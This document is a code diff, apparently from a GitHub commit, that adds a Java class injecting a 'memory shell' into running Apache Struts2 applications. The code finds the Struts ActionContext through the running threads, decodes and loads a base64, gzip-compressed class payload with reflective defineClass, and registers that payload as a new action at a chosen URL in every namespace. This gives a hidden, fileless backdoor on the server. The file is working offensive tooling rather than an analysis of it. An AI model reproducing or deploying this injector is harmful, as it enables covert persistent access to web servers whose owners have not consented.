|
| 1 | +package com.reajason.javaweb.memshell.injector.struct2; |
| 2 | + |
| 3 | +import java.io.ByteArrayInputStream; |
| 4 | +import java.io.ByteArrayOutputStream; |
| 5 | +import java.io.IOException; |
| 6 | +import java.io.PrintStream; |
| 7 | +import java.lang.reflect.Constructor; |
| 8 | +import java.lang.reflect.Field; |
| 9 | +import java.lang.reflect.Method; |
| 10 | +import java.util.Map; |
| 11 | +import java.util.Set; |
| 12 | +import java.util.zip.GZIPInputStream; |
| 13 | + |
| 14 | +/** |
| 15 | + * @author ReaJason |
| 16 | + * @since 2025/12/8 |
| 17 | + */ |
| 18 | +public class Struct2ActionInjector { |
| 19 | + |
| 20 | + private static String msg = ""; |
| 21 | + private static boolean ok = false; |
| 22 | + |
| 23 | + public String getUrlPattern() { |
| 24 | + return "{{urlPattern}}"; |
| 25 | + } |
| 26 | + |
| 27 | + public String getClassName() { |
| 28 | + return "{{className}}"; |
| 29 | + } |
| 30 | + |
| 31 | + public String getBase64String() throws IOException { |
| 32 | + return "{{base64Str}}"; |
| 33 | + } |
| 34 | + |
| 35 | + public Struct2ActionInjector() { |
| 36 | + if (ok) { |
| 37 | + return; |
| 38 | + } |
| 39 | + Object context = null; |
| 40 | + try { |
| 41 | + context = getContext(); |
| 42 | + } catch (Throwable e) { |
| 43 | + msg += "context error: " + getErrorMessage(e); |
| 44 | + } |
| 45 | + if (context == null) { |
| 46 | + msg += "context not found"; |
| 47 | + } else { |
| 48 | + try { |
| 49 | + Object shell = getShell(context); |
| 50 | + inject(context, shell); |
| 51 | + } catch (Throwable e) { |
| 52 | + msg += "failed " + getErrorMessage(e) + "\n"; |
| 53 | + } |
| 54 | + } |
| 55 | + ok = true; |
| 56 | + System.out.println(msg); |
| 57 | + } |
| 58 | + |
| 59 | + public Object getContext() throws Exception { |
| 60 | + Set<Thread> threads = Thread.getAllStackTraces().keySet(); |
| 61 | + for (Thread thread : threads) { |
| 62 | + ClassLoader contextClassLoader = thread.getContextClassLoader(); |
| 63 | + if (contextClassLoader != null) { |
| 64 | + try { |
| 65 | + Class<?> clazz = contextClassLoader.loadClass("com.opensymphony.xwork2.ActionContext"); |
| 66 | + Object context = clazz.getMethod("getContext").invoke(null); |
| 67 | + if (context != null) { |
| 68 | + return context; |
| 69 | + } |
| 70 | + } catch (ClassNotFoundException e) { |
| 71 | + continue; |
| 72 | + } |
| 73 | + } |
| 74 | + } |
| 75 | + return null; |
| 76 | + } |
| 77 | + |
| 78 | + private void inject(Object context, Object shell) throws Exception { |
| 79 | + Object actionInvocation = invokeMethod(context, "getActionInvocation"); |
| 80 | + Object actionProxy = getFieldValue(actionInvocation, "proxy"); |
| 81 | + Object configuration = getFieldValue(actionProxy, "configuration"); |
| 82 | + Object runtimeConfiguration = getFieldValue(configuration, "runtimeConfiguration"); |
| 83 | + Map<String, Map<String, Object>> namespaceActionConfigs = (Map<String, Map<String, Object>>) getFieldValue(runtimeConfiguration, "namespaceActionConfigs"); |
| 84 | + for (Map.Entry<String, Map<String, Object>> entry : namespaceActionConfigs.entrySet()) { |
| 85 | + String namespace = entry.getKey(); |
| 86 | + Map<String, Object> configs = entry.getValue(); |
| 87 | + if (!configs.isEmpty()) { |
| 88 | + Object firstActionConfig = configs.entrySet().iterator().next().getValue(); |
| 89 | + String actionName = getUrlPattern().substring(1); |
| 90 | + if (configs.containsKey(actionName)) { |
| 91 | + continue; |
| 92 | + } |
| 93 | + String packageName = (String) getFieldValue(firstActionConfig, "packageName"); |
| 94 | + Class<?> actionConfigClass = context.getClass().getClassLoader().loadClass("com.opensymphony.xwork2.config.entities.ActionConfig"); |
| 95 | + Constructor<?> actionConfigConstructor = actionConfigClass.getDeclaredConstructor(String.class, String.class, String.class); |
| 96 | + actionConfigConstructor.setAccessible(true); |
| 97 | + Object actionConfig = actionConfigConstructor.newInstance(namespace, packageName, getClassName()); |
| 98 | + configs.put(actionName, actionConfig); |
| 99 | + msg += "namespace: [" + (namespace.isEmpty() ? "default" : namespace) + "] [" + getUrlPattern() + "] ready\n"; |
| 100 | + } |
| 101 | + } |
| 102 | + } |
| 103 | + |
| 104 | + private Object getShell(Object context) throws Exception { |
| 105 | + ClassLoader classLoader = context.getClass().getClassLoader(); |
| 106 | + Object interceptor = null; |
| 107 | + try { |
| 108 | + interceptor = classLoader.loadClass(getClassName()).newInstance(); |
| 109 | + } catch (Exception e) { |
| 110 | + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); |
| 111 | + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); |
| 112 | + defineClass.setAccessible(true); |
| 113 | + Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); |
| 114 | + interceptor = clazz.newInstance(); |
| 115 | + } |
| 116 | + return interceptor; |
| 117 | + } |
| 118 | + |
| 119 | + @Override |
| 120 | + public String toString() { |
| 121 | + return msg; |
| 122 | + } |
| 123 | + |
| 124 | + @SuppressWarnings("all") |
| 125 | + public static Object invokeMethod(Object obj, String methodName) throws |
| 126 | + Exception { |
| 127 | + return invokeMethod(obj, methodName, new Class[0], new Object[0]); |
| 128 | + } |
| 129 | + |
| 130 | + @SuppressWarnings("all") |
| 131 | + public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws |
| 132 | + Exception { |
| 133 | + Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); |
| 134 | + Method method = null; |
| 135 | + while (clazz != null && method == null) { |
| 136 | + try { |
| 137 | + if (paramClazz == null) { |
| 138 | + method = clazz.getDeclaredMethod(methodName); |
| 139 | + } else { |
| 140 | + method = clazz.getDeclaredMethod(methodName, paramClazz); |
| 141 | + } |
| 142 | + } catch (NoSuchMethodException e) { |
| 143 | + clazz = clazz.getSuperclass(); |
| 144 | + } |
| 145 | + } |
| 146 | + if (method == null) { |
| 147 | + throw new NoSuchMethodException("Method not found: " + methodName); |
| 148 | + } |
| 149 | + method.setAccessible(true); |
| 150 | + return method.invoke(obj instanceof Class ? null : obj, param); |
| 151 | + } |
| 152 | + |
| 153 | + @SuppressWarnings("all") |
| 154 | + public static byte[] decodeBase64(String base64Str) throws Exception { |
| 155 | + Class<?> decoderClass; |
| 156 | + try { |
| 157 | + decoderClass = Class.forName("java.util.Base64"); |
| 158 | + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); |
| 159 | + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); |
| 160 | + } catch (Exception ignored) { |
| 161 | + decoderClass = Class.forName("sun.misc.BASE64Decoder"); |
| 162 | + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); |
| 163 | + } |
| 164 | + } |
| 165 | + |
| 166 | + @SuppressWarnings("all") |
| 167 | + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { |
| 168 | + ByteArrayOutputStream out = new ByteArrayOutputStream(); |
| 169 | + GZIPInputStream gzipInputStream = null; |
| 170 | + |
| 171 | + try { |
| 172 | + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); |
| 173 | + byte[] buffer = new byte[4096]; |
| 174 | + int n; |
| 175 | + while ((n = gzipInputStream.read(buffer)) > 0) { |
| 176 | + out.write(buffer, 0, n); |
| 177 | + } |
| 178 | + } finally { |
| 179 | + if (gzipInputStream != null) { |
| 180 | + try { |
| 181 | + gzipInputStream.close(); |
| 182 | + } catch (IOException ignored) { |
| 183 | + } |
| 184 | + } |
| 185 | + out.close(); |
| 186 | + } |
| 187 | + return out.toByteArray(); |
| 188 | + } |
| 189 | + |
| 190 | + @SuppressWarnings("all") |
| 191 | + public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { |
| 192 | + for (Class<?> clazz = obj.getClass(); |
| 193 | + clazz != Object.class; |
| 194 | + clazz = clazz.getSuperclass()) { |
| 195 | + try { |
| 196 | + return clazz.getDeclaredField(name); |
| 197 | + } catch (NoSuchFieldException ignored) { |
| 198 | + |
| 199 | + } |
| 200 | + } |
| 201 | + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); |
| 202 | + } |
| 203 | + |
| 204 | + |
| 205 | + @SuppressWarnings("all") |
| 206 | + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { |
| 207 | + try { |
| 208 | + Field field = getField(obj, name); |
| 209 | + field.setAccessible(true); |
| 210 | + return field.get(obj); |
| 211 | + } catch (NoSuchFieldException ignored) { |
| 212 | + } |
| 213 | + return null; |
| 214 | + } |
| 215 | + |
| 216 | + @SuppressWarnings("all") |
| 217 | + private String getErrorMessage(Throwable throwable) { |
| 218 | + PrintStream printStream = null; |
| 219 | + try { |
| 220 | + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); |
| 221 | + printStream = new PrintStream(outputStream); |
| 222 | + throwable.printStackTrace(printStream); |
| 223 | + return outputStream.toString(); |
| 224 | + } finally { |
| 225 | + if (printStream != null) { |
| 226 | + printStream.close(); |
| 227 | + } |
| 228 | + } |
| 229 | + } |
| 230 | +} |
0 commit comments